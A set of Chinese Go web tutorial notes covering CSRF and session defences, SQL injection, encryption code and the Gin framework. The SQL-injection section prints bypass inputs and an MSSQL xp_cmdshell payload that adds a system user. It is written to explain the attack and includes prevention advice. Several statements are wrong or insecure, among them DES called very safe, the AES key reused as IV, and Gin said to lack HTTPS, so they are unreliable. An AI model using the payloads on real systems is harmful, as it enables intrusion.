这样处理后因为我们限定了修改只能使用POST当GET方式请求时就拒绝响应所以上面图示中GET方式的CSRF攻击就可以防止了但这样就能全部解决问题了吗当然不是因为POST也是可以模拟的
因此我们需要实施第二步在非GET方式的请求中增加随机数这个大概有三种方式来进行
- 为每个用户生成一个唯一的cookie token所有表单都包含同一个伪随机值这种方案最简单因为攻击者不能获得第三方的Cookie(理论上)所以表单中的数据也就构造失败但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取所以这个方案必须要在没有XSS的情况下才安全
- 每个请求使用验证码这个方案是完美的因为要多次输入验证码所以用户友好性很差所以不适合实际运用
- 不同的表单包含一个不同的伪随机值我们在4.4小节介绍如何防止表单多次递交时介绍过此方案复用相关代码实现如下
生成随机数token
```Go
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
```
输出token
```html
<input type="hidden" name="token" value="{{.}}">
```
验证token
```Go
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
```
这样基本就实现了安全的POST但是也许你会说如果破解了token的算法呢按照理论上是但是实际上破解是基本不可能的因为有人曾计算过暴力破解该串大概需要2的11次方时间
## 预防session劫持
在session技术中客户端和服务端通过session的标识符来维护会话 但这个标识符很容易就能被嗅探到从而被其他人利用它是中间人攻击的一种类型
制作一个count计数器
```Go
func count(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("countnum"))
}
```
count.gtpl的代码如下所示
```Go
Hi. Now count:{{.}}
```
访问localhost:9090/count不断刷新浏览器count数字将不断增长当数字显示为6时查看开发者工具中的value将这些内容在另外一个浏览器中重新模拟发送请求我们发现另外一个浏览器同样可以得到结果
可以看到虽然换了浏览器但是我们却获得了sessionID然后模拟了cookie存储的过程这个例子是在同一台计算机上做的不过即使换用两台来做其结果仍然一样此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器不必惊讶此处firefox盗用了chrome和goserver之间的维持会话的钥匙即gosessionid这是一种类型的会话劫持在goserver看来它从http请求中得到了一个gosessionid由于HTTP协议的无状态性它无法得知这个gosessionid是从chrome那里劫持来的它依然会去查找对应的session并执行相关计算与此同时 chrome也无法得知自己保持的会话已经被劫持
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持就非常危险劫持者可以假装成被劫持者进行很多非法操作那么如何有效的防止session劫持呢
其中一个解决方案就是sessionID的值只允许cookie设置而不是通过URL重置方式设置同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie第一这个可以防止这个cookie被XSS读取从而引起session劫持第二cookie设置不会像URL重置方式那么容易获取sessionID
第二步就是在每个请求里面加上token实现类似前面章节里面讲的防止form重复递交类似的功能我们在每个请求里面加上一个隐藏的token然后每次验证这个token从而保证用户的请求都是唯一性
```Go
h := md5.New()
salt:="ruyue%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
//提示登录
}
sess.Set("token",token)
```
还有一个解决方案就是我们给session额外设置一个创建时间的值一旦过了一定的时间我们销毁这个sessionID重新生成新的session这样可以一定程度上防止session劫持的问题
```Go
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
```
session启动后我们设置了一个值用于记录生成sessionID的时间通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID这样使得攻击者获取有效sessionID的机会大大降低
上面两个手段的组合可以在实践中消除session劫持的风险一方面 由于sessionID频繁改变使攻击者难有机会获取有效的sessionID另一方面因为sessionID只能在cookie中传递然后设置了httponly所以基于URL攻击的可能性为零同时被XSS获取sessionID也不可能最后由于我们还设置了MaxAge=0这样就相当于session cookie不会留在浏览器的历史记录里面
## SQL注入
#### 4.1 SQL注入简介
SQL注入攻击SQL Injection简称注入攻击是Web开发中最常见的一种安全漏洞可以用它来从数据库获取敏感信息或者利用数据库的特性执行添加用户导出文件等一系列恶意操作甚至有可能获取数据库乃至系统用户最高权限
而造成SQL注入的原因是因为程序没有有效过滤用户的输入使攻击者成功的向服务器提交恶意的SQL查询代码程序在接收后错误的将攻击者的输入作为查询语句的一部分执行导致原始的查询逻辑被改变额外的执行了攻击者精心构造的恶意代码
#### 4.2 SQL注入案例
很多Web开发者没有意识到SQL查询是可以被篡改的从而把SQL查询当作可信任的命令殊不知SQL查询是可以绕开访问控制从而绕过身份验证和权限检查的更有甚者有可能通过SQL查询去运行主机系统级的命令
下面将通过一些真实的例子来详细讲解SQL注入的方式
考虑以下简单的登录表单
```html
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
```
我们的处理里面的SQL可能是这样的
```Go
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
```
如果用户的输入的用户名如下密码任意
```Go
myuser' or 'foo' = 'foo' --
```
那么我们的SQL变成了如下所示
```Go
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
```
在SQL里面`--`是注释标记所以查询语句会在此中断这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了
对于MSSQL还有更加危险的一种SQL注入就是控制系统下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令
```Go
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
```
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值那么sql将会变成
```Go
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
```
MSSQL服务器会执行这条SQL语句包括它后面那个用于向系统添加新用户的命令如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话攻击者就可以获得一个系统帐号来访问主机了
>虽然以上的例子是针对某一特定的数据库系统的但是这并不代表不能对其它数据库系统实施类似的攻击针对这种安全漏洞只要使用不同方法各种数据库都有可能遭殃
#### 4.3 预防SQL注入
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击确实如此但没人能保证攻击者一定拿不到这些信息一旦他们拿到了数据库就存在泄露的危险如果你在用开放源代码的软件包来访问数据库比如论坛程序攻击者就很容易得到相关的代码如果这些代码设计不良的话风险就更大了目前Discuzphpwindphpcms等这些流行的开源程序都有被SQL注入攻击的先例
这些攻击总是发生在安全性不高的代码上所以永远不要信任外界输入的数据特别是来自于用户的数据包括选择框表单隐藏域和 cookie就如上面的第一个例子那样就算是正常的查询也有可能造成灾难
SQL注入攻击的危害这么大那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助
1. 严格限制Web应用的数据库的操作权限给此用户提供仅仅能够满足其工作的最低权限从而最大限度的减少注入攻击对数据库的危害
2. 检查输入的数据是否具有所期望的数据格式严格限制变量的类型例如使用regexp包进行一些匹配处理或者使用strconv包对字符串转化成其他基本类型的数据进行判断
3. 对进入数据库的特殊字符'"\尖括号&*;进行转义处理或编码转换Go `text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理
4. 所有的查询语句建议使用数据库提供的参数化查询接口参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中即不要直接拼接SQL语句例如使用`database/sql`里面的查询函数`Prepare``Query`或者`Exec(query string, args ...interface{})`
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测以及时修补被发现的SQL注入漏洞网上有很多这方面的开源工具例如sqlmapSQLninja等
6. 避免网站打印出SQL错误信息比如类型错误字段不匹配等把代码里的SQL语句暴露出来以防止攻击者利用这些错误信息进行SQL注入

View File

@ -0,0 +1,351 @@
## 密码学概述
### 1.0 加密算法分类
常用的加密算法有三类
- 哈希算法不可逆
- 加密解密算法通过秘钥实现加密解密是可逆的
- 编码解码算法无需秘钥是可逆的如Base64但是严格意义上来说该类算法只是一种数据编码格式
### 1.1 哈希算法
哈希算法其实是一种消息摘要实现技术hash是剁碎的意思所以也称呼hash为散列
哈希算法能让任意长度的二进制值映射为较短的固定长度的二进制值并且不同明文基本上不会映射为相同的Hash值
哈希算法加密不可逆常见的算法有md4md5hash1SHA256SHA3等
例如一段字符串`hello world`经过md5加密后转换成了`5eb63bbbe01eeed093cb22bb8f5acdc3`该密文是无法返回到原始的明文的
不过哈希算法必须解决冲突问题即不同的数据通过哈希算法产生了相同的输出MD5SHA-1算法都已经被证明不具备强抗碰撞性不足以应对要求很高的商业场景
为了提升哈希算法的安全性推荐使用SHA-2该算法是SHA-256,SHA-512等算法的并称
不过MD5仍然被大量用于网站的登录中如下所示
![](../images/go/04-01.png)
利用彩虹表攻击哈希算法变得很脆弱可以通过加盐的方式提升安全性
![](../images/go/04-02.png)
### 1.2 加密解密算法-对称加密
对称加密datar encryption algorithmDEA也称为私钥加密算法单秘钥算法常见的对称加密算法有DES,3DES,AES等
对称加密的特点
- 加密和解密的秘钥相同
- 运算效率加高
对称加密由于加密方和解密方需要共享秘钥所以容易泄露如下所示
![](../images/go/04-03.png)
DES目前是非常安全的加密方式只有穷举法才可以破解
### 1.3 加密解密算法-非对称加密
非对称加密也称呼为公钥加密最著名的非对称加密算法是RSA椭圆曲线算法ECC
非对称加密的特点加密和解密分别使用两个不同的秘钥使用其中一个秘钥对明文加密得到的密文只有另外一个秘钥才能解密得到明文而且这2个秘钥只在数学上有关即使知道了其中一个也无法计算出另外一个所以一个可以公开任意发布一个不公开由用户保管绝对不同通过任何途径传输
这两个秘钥分别是
- 公钥公开秘钥公钥可以向外任意发布
- 私钥私有秘钥私钥由用户存储私钥不能通过任何渠道传输
总结如下
- 公开密钥和私有密钥是一对
- 如果用公开密钥对数据进行加密只有用对应的私有密钥才能解密
- 如果用私有密钥对数据进行加密只有用对应的公开密钥才能解密
- 因为加密和解密使用的是两个不同的密钥所以这种算法叫作非对称加密算法
步骤如下
![](../images/go/04-04.png)
非对称加密中用于解密的私钥是不公开不进行传输的所以安全性较高但是相对的也增加了运算时间
### 1.4 加解密算法
加密解密算法包括三种
- 对称加密包括DES3DESAES等
- 非对称加密包括RSA算法椭圆曲线加密算法
- 数字签名算法DSA
编码解码算法常见的有Base64编码解码Base58编码解码
## 数字签名与验证
非对称加密中双方进行通信的加密解密过程
- 1.A要向B发送信息A和B都要产生一对用于加密和解密的公钥和私钥
- 2.A的私钥保密A的公钥告诉BB的私钥保密B的公钥告诉A
- 3.A要给B发送信息时A用B的公钥加密信息因为A知道B的公钥
- 4.A将这个消息发给B已经用B的公钥加密消息
- 5.B收到这个消息后B用自己的私钥解密A的消息其他所有收到这个报文的人都无法解密因为只有B才有B的私钥
通过公钥加密私钥解密的过程称为数字签名验证签名数字签名有两部分组成
- 使用私钥从消息中创建签名
- 允许任何人验证签名
数字签名主要用于验证双方的数据是否被串改数字签名与加密解密不是一个概念
非对称加密找那个双方进行通信时不但要对消息进行加密解密也要执行数字签名与验证
![](../images/go/04-05.png)
## Go实现加密算法
### 3.1 AES
```go
import (
"bytes"
"crypto/aes"
"fmt"
"crypto/cipher"
"encoding/base64"
)
func main() {
orig := "hello world"
key := "123456781234567812345678"
fmt.Println("原文:", orig)
encryptCode := AesEncrypt(orig, key)
fmt.Println("密文:" , encryptCode)
decryptCode := AesDecrypt(encryptCode, key)
fmt.Println("解密结果:", decryptCode)
}
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)
// 分组秘钥
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
return base64.StdEncoding.EncodeToString(cryted)
}
func AesDecrypt(cryted string, key string) string {
// 转成字节数组
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
k := []byte(key)
// 分组秘钥
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}
//补码
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
//去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
```
### 3.2 DES
填充和去填充函数
```go
func ZeroPadding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{0}, padding)
return append(ciphertext, padtext...)
}
func ZeroUnPadding(origData []byte) []byte {
return bytes.TrimFunc(origData,
func(r rune) bool {
return r == rune(0)
})
}
```
加密
```go
func Encrypt(text string, key []byte) (string, error) {
src := []byte(text)
block, err := des.NewCipher(key)
if err != nil {
return "", err
}
bs := block.BlockSize()
src = ZeroPadding(src, bs)
if len(src)%bs != 0 {
return "", errors.New("Need a multiple of the blocksize")
}
out := make([]byte, len(src))
dst := out
for len(src) > 0 {
block.Encrypt(dst, src[:bs])
src = src[bs:]
dst = dst[bs:]
}
return hex.EncodeToString(out), nil
}
```
解密
```go
func Decrypt(decrypted string , key []byte) (string, error) {
src, err := hex.DecodeString(decrypted)
if err != nil {
return "", err
}
block, err := des.NewCipher(key)
if err != nil {
return "", err
}
out := make([]byte, len(src))
dst := out
bs := block.BlockSize()
if len(src)%bs != 0 {
return "", errors.New("crypto/cipher: input not full blocks")
}
for len(src) > 0 {
block.Decrypt(dst, src[:bs])
src = src[bs:]
dst = dst[bs:]
}
out = ZeroUnPadding(out)
return string(out), nil
}
```
测试
```go
func main() {
key := []byte("2fa6c1e9")
str :="I love this beautiful world!"
strEncrypted, err := Encrypt(str, key)
if err != nil {
log.Fatal(err)
}
fmt.Println("Encrypted:", strEncrypted)
strDecrypted, err := Decrypt(strEncrypted, key)
if err != nil {
log.Fatal(err)
}
fmt.Println("Decrypted:", strDecrypted)
}
//Output:
//Encrypted: 5d2333b9fbbe5892379e6bcc25ffd1f3a51b6ffe4dc7af62beb28e1270d5daa1
//Decrypted: I love this beautiful world!
```
### 3.3 RSA
首先使用openssl生成公私钥使用RSA的时候需要提供公钥和私钥 可以通过openss来生成对应的pem格式的公钥和私钥匙
```go
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/base64"
"encoding/pem"
"errors"
"fmt"
)
// 私钥生成
//openssl genrsa -out rsa_private_key.pem 1024
var privateKey = []byte(`
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDcGsUIIAINHfRTdMmgGwLrjzfMNSrtgIf4EGsNaYwmC1GjF/bM
h0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdTnCDPPZ7oV7p1B9Pud+6zPaco
qDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Zy682X1+R1lRK8D+vmQIDAQAB
AoGAeWAZvz1HZExca5k/hpbeqV+0+VtobMgwMs96+U53BpO/VRzl8Cu3CpNyb7HY
64L9YQ+J5QgpPhqkgIO0dMu/0RIXsmhvr2gcxmKObcqT3JQ6S4rjHTln49I2sYTz
7JEH4TcplKjSjHyq5MhHfA+CV2/AB2BO6G8limu7SheXuvECQQDwOpZrZDeTOOBk
z1vercawd+J9ll/FZYttnrWYTI1sSF1sNfZ7dUXPyYPQFZ0LQ1bhZGmWBZ6a6wd9
R+PKlmJvAkEA6o32c/WEXxW2zeh18sOO4wqUiBYq3L3hFObhcsUAY8jfykQefW8q
yPuuL02jLIajFWd0itjvIrzWnVmoUuXydwJAXGLrvllIVkIlah+lATprkypH3Gyc
YFnxCTNkOzIVoXMjGp6WMFylgIfLPZdSUiaPnxby1FNM7987fh7Lp/m12QJAK9iL
2JNtwkSR3p305oOuAz0oFORn8MnB+KFMRaMT9pNHWk0vke0lB1sc7ZTKyvkEJW0o
eQgic9DvIYzwDUcU8wJAIkKROzuzLi9AvLnLUrSdI6998lmeYO9x7pwZPukz3era
zncjRK3pbVkv0KrKfczuJiRlZ7dUzVO0b6QJr8TRAA==
-----END RSA PRIVATE KEY-----
`)
// 公钥: 根据私钥生成
//openssl rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem
var publicKey = []byte(`
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcGsUIIAINHfRTdMmgGwLrjzfM
NSrtgIf4EGsNaYwmC1GjF/bMh0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdT
nCDPPZ7oV7p1B9Pud+6zPacoqDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Z
y682X1+R1lRK8D+vmQIDAQAB
-----END PUBLIC KEY-----
`)
// 加密
func RsaEncrypt(origData []byte) ([]byte, error) {
//解密pem格式的公钥
block, _ := pem.Decode(publicKey)
if block == nil {
return nil, errors.New("public key error")
}
// 解析公钥
pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
return nil, err
}
// 类型断言
pub := pubInterface.(*rsa.PublicKey)
//加密
return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)
}
// 解密
func RsaDecrypt(ciphertext []byte) ([]byte, error) {
//解密
block, _ := pem.Decode(privateKey)
if block == nil {
return nil, errors.New("private key error!")
}
//解析PKCS1格式的私钥
priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return nil, err
}
// 解密
return rsa.DecryptPKCS1v15(rand.Reader, priv, ciphertext)
}
func main() {
data, _ := RsaEncrypt([]byte("hello world"))
fmt.Println(base64.StdEncoding.EncodeToString(data))
origData, _ := RsaDecrypt(data)
fmt.Println(string(origData))
}
```

View File

@ -0,0 +1,201 @@
## gin框架初识
#### 1.1 helloworld
gin框架中的路由是基于[httprouter](https://github.com/julienschmidt/httprouter)开发的。HelloWorld
```go
package main
import (
"github.com/gin-gonic/gin"
"fmt"
)
func main() {
r := gin.Default() //Default返回一个默认路由引擎
r.GET("/", func(c *gin.Context) {
username := c.Query("username")
fmt.Println(username)
c.JSON(200, gin.H{
"msg":"hello world",
})
})
r.Run() //默认位于0.0.0.0:8080可传入参数 ":3030"
}
```
## 参数获取
#### 2.1 get请求参数
常见参数获取方式
```
c.Query("username")
c.QueryDefault("username","lisi") //如果username为空则赋值为lisi
```
路由地址为/user/:name/:pass获取参数
```go
name := c.Param("name")
```
#### 2.2 post请求参数获取
```go
name := c.PostForm("name")
```
#### 2.3 参数绑定
参数绑定利用反射机制自动提取querystringform表单jsonxml等参数到结构体中可以极大提升开发效率
```go
package main
import (
"net/http"
"github.com/gin-gonic/gin"
"fmt"
)
type User struct {
Username string `form:"username" json:"username" binding:"required"`
Password string `form:"password" json:"password" binding:"required"`
}
func login(c *gin.Context) {
var user User
fmt.Println(c.PostForm("username"))
fmt.Println(c.PostForm("password"))
err := c.ShouldBind(&user)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": err.Error()
})
}
c.JSON(http.StatusOK, gin.H{
"username": user.Username,
"password": user.Password,
})
}
func main() {
router := gin.Default()
router.POST("/login", login)
router.Run(":3000")
}
```
## 静态文件
静态化当前目录下static文件夹
```go
router := gin.Default()
router.Static("/static", "./static")
router.Run(":3000")
```
注意同样推荐使用go build不要使用开发工具的run功能
## 结果返回
#### 4.1 返回JSON
```go
c.JSON(200,gin.H{"msg":"OK"})
c.JSON(200,结构体)
```
#### 4.2 返回模板
```go
router.LoadHTMLGlob("templates/**/*")
router.GET("/test/index", func(c *gin.Context){
c.HTML(http.StatusOK, "test/index.tmpl", gin.H{
"msg": "test",
})
})
```
模板文件index.tmpl
```html
{{define "test/index.tmpl"}}
<html>
<head>
</head>
<body>
test...
{{.}}
-----
{{.msg}}
</body>
</html>
{{end}}
```
注意事项不要使用编辑器的run功能会出现路径错误推荐使用命令build项目路径分配如下
![](../images/go/gin-01.png)
## 文件上传
### 5.1 单文件上传
```go
router.POST("/upload", func (c *gin.Context) {
file, err := c.FormFile("file")
if (err != nil) {
c.JSON(http.StatusInternalServerError, gin.H{
"msg": err.Error(),
})
return
}
dst := fmt.Sprintf("/uploads/&s", file.Filename)
c.SavaeUpLoadedFile(file, dst)
c.JSON(http.StatusOK, gin.H{
"msg":"ok",
})
})
```
### 5.2 多文件上传
```go
router.POST("/upload", func(c *gin.Context) {
// 多文件
form, _ := c.MultipartForm()
files := form.File["upload[]"]
for _, file := range files {
log.Println(file.Filename)
// 上传文件到指定的路径
// c.SaveUploadedFile(file, dst)
}
c.String(http.StatusOK, fmt.Sprintf("%d files uploaded!", len(files)))
})
```

View File

@ -0,0 +1,109 @@
## 路由分组
访问路径是`/user/login` `/user/signin`
```go
package main
import (
"github.com/gin-gonic/gin"
)
func login(c *gin.Context) {
c.JSON(300, gin.H{
"msg": "login",
})
}
func logout(c *gin.Context) {
c.JSON(300, gin.H{
"msg": "logout",
})
}
func main() {
router := gin.Default()
user := router.Group("/user")
{
user.GET("/login", login)
user.GET("/logout", logout)
}
router.Run(":3000")
}
```
## 路由设计
#### 2.0 项目结构
笔者自己的路由设计仅供参考
项目结构如图
![](../images/go/gin-02.png)
#### 2.1 main.go
main.go
```go
package main
import (
"Demo1/router"
)
func main() {
r := router.InitRouter()
_ = r.Run()
}
```
#### 2.2 路由模块化核心 routes.go
routes.go
```go
package router
import (
"github.com/gin-gonic/gin"
)
func InitRouter() *gin.Engine {
r := gin.Default()
// 路由模块化
userRouter(r)
orderRouter(r)
return r
}
```
#### 2.3 业务处理
userRouter.go示例
```go
package router
import (
"github.com/gin-gonic/gin"
"net/http"
)
func userRouter(r *gin.Engine) {
r.GET("/user/login", userLogin)
}
func userLogin(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"code": 10001,
"msg": "登录成功",
"data": nil,
})
}
```

View File

@ -0,0 +1,28 @@
## gin配合单元测试
https://github.com/stretchr/testify/assert 是个很好的单元测试框架。
在上一节中配置了笔者自己项目的路由模块化思路下面是配套的单元测试demo
userRouter_test.go
```go
package test
import (
"Demo1/router"
"github.com/stretchr/testify/assert"
"net/http"
"net/http/httptest"
"testing"
)
func TestUserRouter_userLogin(t *testing.T) {
r := router.InitRouter()
w := httptest.NewRecorder()
req, _ := http.NewRequest(http.MethodGet, "/user/login", nil)
r.ServeHTTP(w, req)
assert.Equal(t, http.StatusOK, w.Code)
assert.Equal(t, `{"code":10001,"data":null,"msg":"登录成功"}`, w.Body.String())
}
```

View File

@ -0,0 +1,122 @@
## Gin中间件
### 1.1 中间件的概念
gin框架允许在处理请求时加入用户自己的钩子函数该钩子函数即中间件他的作用与Java中的拦截器Node中的中间件相似
中间件需要返回`gin.HandlerFunc`函数多个中间件通过Next函数来依次执行
### 1.2 入门使用案例
现在设计一个中间件在每次路由函数执行前打印一句话在上一节的项目基础上新建`middleware`文件夹新建一个中间件文件`MyFmt.go`
```go
package middleware
import (
"fmt"
"github.com/gin-gonic/gin"
)
// 定义一个中间件
func MyFMT() gin.HandlerFunc {
return func(c *gin.Context) {
host := c.Request.Host
fmt.Printf("Before: %s\n",host)
c.Next()
fmt.Println("Next: ...")
}
}
```
在路由函数中使用中间件
```go
r.GET("/user/login", middleware.MyFMT(), userLogin)
```
打印结果
```
Before: localhost:8080
Next: ...
[GIN] 2019/07/28 - 16:28:16 | 200 | 266.33µs | ::1 | GET /user/login
```
### 1.2 中间件的详细使用方式
全局中间件直接使用 `gin.Engine`结构体的`Use()`方法中间件将会在项目的全局起作用
```go
func InitRouter() *gin.Engine {
r := gin.Default()
// 全局中间件
r.Use(middleware.MyFMT())
// 路由模块化
userRouter(r)
orderRouter(r)
return r
}
```
路由分钟中使用中间件
```go
router := gin.New()
user := router.Group("user", gin.Logger(),gin.Recovery())
{
user.GET("info", func(context *gin.Context) {
})
user.GET("article", func(context *gin.Context) {
})
}
```
单个路由使用中间件(支持多个中间件的使用)
```go
router := gin.New()
router.GET("/test",gin.Recovery(),gin.Logger(),func(c *gin.Context){
c.JSON(200,"test")
})
```
### 1.3 内置中间件
Gin也内置了一些中间件可以直接使用
```go
func BasicAuth(accounts Accounts) HandlerFunc
func BasicAuthForRealm(accounts Accounts, realm string) HandlerFunc
func Bind(val interface{}) HandlerFunc //拦截请求参数并进行绑定
func ErrorLogger() HandlerFunc //错误日志处理
func ErrorLoggerT(typ ErrorType) HandlerFunc //自定义类型的错误日志处理
func Logger() HandlerFunc //日志记录
func LoggerWithConfig(conf LoggerConfig) HandlerFunc
func LoggerWithFormatter(f LogFormatter) HandlerFunc
func LoggerWithWriter(out io.Writer, notlogged ...string) HandlerFunc
func Recovery() HandlerFunc
func RecoveryWithWriter(out io.Writer) HandlerFunc
func WrapF(f http.HandlerFunc) HandlerFunc //将http.HandlerFunc包装成中间件
func WrapH(h http.Handler) HandlerFunc //将http.Handler包装成中间件
```
## 请求的拦截与后置
中间件的最大作用就是拦截过滤请求比如我们有些请求需要用户登录或者需要特定权限才能访问这时候便可以中间件中做过滤拦截
下面三个方法中断请求后直接返回200但响应的body中不会有数据
```go
func (c *Context) Abort()
func (c *Context) AbortWithError(code int, err error) *Error
func (c *Context) AbortWithStatus(code int)
func (c *Context) AbortWithStatusJSON(code int, jsonObj interface{}) // 中断后可以返回json数据
```
如果在中间件中调用gin.Context的Next()方法则可以请求到达并完成业务处理后再经过中间件后置拦截处理
```go
func MyMiddleware(c *gin.Context){
//请求前
c.Next()
//请求后
}
```

View File

@ -0,0 +1,123 @@
## gin.Engine
Engine是框架的入口是gin框架的核心通过Engine对象来定义服务路由信息组装插件运行服务不过Engine的本质只是对内置HTTP服务的包装
`gin.Default()` 函数会生成一个默认的 Engine 对象包含2个默认常用插件
- Logger用于输出请求日志
- Recovery用于确保单个请求发生 panic 时记录异常堆栈日志输出统一的错误响应
```go
func Default() *Engine {
engine := New()
engine.Use(Logger(), Recovery())
return engine
}
```
## gin的路由
### 2.1 路由树
Gin 框架中路由规则被分成了最多 9 棵前缀树每一个 HTTP Method对应一棵 前缀树 树的节点按照 URL 中的 / 符号进行层级划分URL 支持 `:name` 形式的名称匹配还支持 `*subpath` 形式的路径通配符
```
// 匹配单节点 named
pattern = /book/:id
match /book/123
nomatch /book/123/10
nomatch /book/
// 匹配子节点 catchAll mode
/book/*subpath
match /book/
match /book/123
match /book/123/10
```
如图所示
![](../images/go/gin-03.jpeg)
每个节点都会挂接若干请求处理函数构成一个请求处理链 HandlersChain当一个请求到来时在这棵树上找到请求 URL 对应的节点拿到对应的请求处理链来执行就完成了请求的处理
```go
type Engine struct {
...
trees methodTrees
...
}
type methodTrees []methodTree
type methodTree struct {
method string
root *node // 树根
}
type node struct {
path string // 当前节点的路径
...
handlers HandlersChain // 请求处理链
...
}
type HandlerFunc func(*Context)
type HandlersChain []HandlerFunc
```
Engine 对象包含一个 addRoute 方法用于添加 URL 请求处理器它会将对应的路径和处理器挂接到相应的请求树中:
```go
func (e *Engine) addRoute(method, path string, handlers HandlersChain)
```
### 2.2 路由组
RouterGroup 是对路由树的包装所有的路由规则最终都是由它来进行管理Engine 结构体继承了 RouterGroup 所以 Engine 直接具备了 RouterGroup 所有的路由管理功能同时 RouteGroup 对象里面还会包含一个 Engine 的指针这样 Engine RouteGroup 就成了你中有我我中有你的关系
```go
type Engine struct {
RouterGroup
...
}
type RouterGroup struct {
...
engine *Engine
...
}
```
RouterGroup 实现了 IRouter 接口暴露了一系列路由方法这些方法最终都是通过调用 Engine.addRoute 方法将请求处理器挂接到路由树中
```go
GET(string, ...HandlerFunc) IRoutes
POST(string, ...HandlerFunc) IRoutes
DELETE(string, ...HandlerFunc) IRoutes
PATCH(string, ...HandlerFunc) IRoutes
PUT(string, ...HandlerFunc) IRoutes
OPTIONS(string, ...HandlerFunc) IRoutes
HEAD(string, ...HandlerFunc) IRoutes
// 匹配所有 HTTP Method
Any(string, ...HandlerFunc) IRoutes
```
RouterGroup 内部有一个前缀路径属性它会将所有的子路径都加上这个前缀再放进路由树中有了这个前缀路径就可以实现 URL 分组功能
Engine 对象内嵌的 RouterGroup 对象的前缀路径是 /它表示根路径RouterGroup 支持分组嵌套使用 Group 方法就可以让分组下面再挂分组依次类推
### 2.3 HTTP错误
URL 请求对应的路径不能在路由树里找到时就需要处理 404 NotFound 错误 URL 的请求路径可以在路由树里找到但是 Method 不匹配就需要处理 405 MethodNotAllowed 错误Engine 对象为这两个错误提供了处理器注册的入口
```go
func (engine *Engine) NoMethod(handlers ...HandlerFunc)
func (engine *Engine) NoRoute(handlers ...HandlerFunc)
```
异常处理器和普通处理器一样也需要和插件函数组合在一起形成一个调用链如果没有提供异常处理器Gin 就会使用内置的简易错误处理器
注意这两个错误处理器是定义在 Engine 全局对象上而不是 RouterGroup对于非 404 405 错误需要用户自定义插件来处理对于 panic 抛出来的异常需要也需要使用插件来处理
### 2.4 HTTPS
Gin 不支持 HTTPS官方建议是使用 Nginx 来转发 HTTPS 请求到 Gin

View File

@ -0,0 +1,86 @@
## gin.Context
